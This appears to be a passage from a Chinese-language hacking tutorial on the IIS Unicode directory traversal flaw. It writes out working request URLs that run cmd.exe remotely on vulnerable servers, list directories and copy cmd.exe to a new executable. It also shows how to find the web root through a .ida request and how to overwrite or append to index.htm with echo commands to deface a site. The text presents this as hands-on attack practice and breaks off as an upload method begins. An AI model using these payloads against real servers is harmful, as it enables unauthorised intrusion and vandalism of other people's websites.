基礎知識（3）

二，一切從基礎開始 

由于winnt\system32\cmd.exe的存在，使遠程執行命令變為可能，在瀏覽器里輸入以下請求：(假設11.11.22.22有漏洞） 

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 

學過dos的應該可以看懂，其實就是利用當中的非法請求使我們可以連到system32下，如果inetpub\目錄不合winnt同盤，或者目錄級數有改動，可能會引起請求失敗。 

如果成功，那么在瀏覽區可看到如下信息： 

Directory of C:\inetpub\scripts 

2000-09-28 15:49 〈DIR〉 . 

2000-09-28 15:49 〈DIR〉 .. （假設目錄中沒有文件，實際上有一大堆） 

是不是有自己機器的感覺了，正點！就是這種感覺！ 

cmd.exe相當與dos里的command.com，因此，我們可以執行很多命令了！ 

http://11.11.22.22/msadc/..%c1%1 ... em32/cmd.exe?/c+dir（這個命令同樣道理） 

大家請注意：/c后面的+，實際上，他就是空格，請記牢！dir開始就是dos命令了，我們可以更改一下： 

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\autoexec.bat+c:\winnt\auto.exe 

會dos的朋友一定懂其意義了，不懂的請去看書 . 

不用說，大家也知道我們就可以利用它來對有漏洞的機器展開攻擊了！ 

三，實戰演練 

1，修改主頁?。ㄊ遣皇呛芩?？） 

一般主頁位置在c:\inetpub\wwwroot下，但要是改了路徑，就需要找找了。 

最方便的方法：在瀏覽器里輸入http://11.11.22.22/.ida要是有漏洞，那在瀏覽器里便會顯示主頁路徑，這個漏洞存在率很高，自然是我們的首選。 

分析法：用dir看各個盤符的根目錄，看可疑的就進去看，運氣好的在一分鐘里找到，這要看運氣和直覺。 

dir/s法：首先在看其主頁，找個圖片或連接，看它的文件名，比如，11.11.22.22首頁上有一幅圖片，右擊，屬性，看到了嗎？iloveu.gif，然后我們利用unicode輸入這條命令dir c:\iloveu.gif /s意味著查找c盤下所有目錄里的iloveu.gif，注意實際應用時別忘了把空格改為+,如果沒有繼續找d盤，很快就能確定主頁目錄的。 

找到了目錄，就要對它開刀了！一般默認收頁為index.htm,index.html,index.asp,default.htm,defautl.html,default.asp中的一個，現在我們確定11.11.22.22中為index.htm 

那么我們就修改它吧！ 

最方便的方法：echo法。echo是一個系統命令，主要用于設置回應開關，而echo cshu >c:\autoexe.bat就是把cshu加入autoexec.bat里并刪除原有內容，echo cshunice >>c:\autoexec.bat就是加入cshunice但不刪除原有內容，這樣我們就可以逍遙的改了。 

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+hackedbycshu+>c:\inetpub\wwwroot\index.htm 

回應為：HTTP 500 - 內部服務器錯誤 

通過對cmd的分析，袁哥得出一條簡便的方法，加入"符號 

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+hackedbycshu+>c:\inetpub\wwwroot\index.htm 

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+2001730+>>c:\inetpub\wwwroot\index.htm 

回應為：cgi錯誤，不用理會 

兩條命令一下，呵呵，再看看11.11.22.22，是不是烙上我們的大名了？不錯吧 

而在實際操作中，可能袁哥的方法也會失效，這時，我們就可以copy cmd.exe 為另一個exe，記住路徑，用copy后的來echo 

例如：11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:\a.exe 

11.11.22.22/scripts/..%c1%1c../a.exe?/c+echo+hackedbycshu+>c:\inetpub\wwwroot\index.htm 

2,上傳法：echo有點不講道理，把人家的文件破壞了，要是想在主頁上增光添彩，那就應該用改好的主頁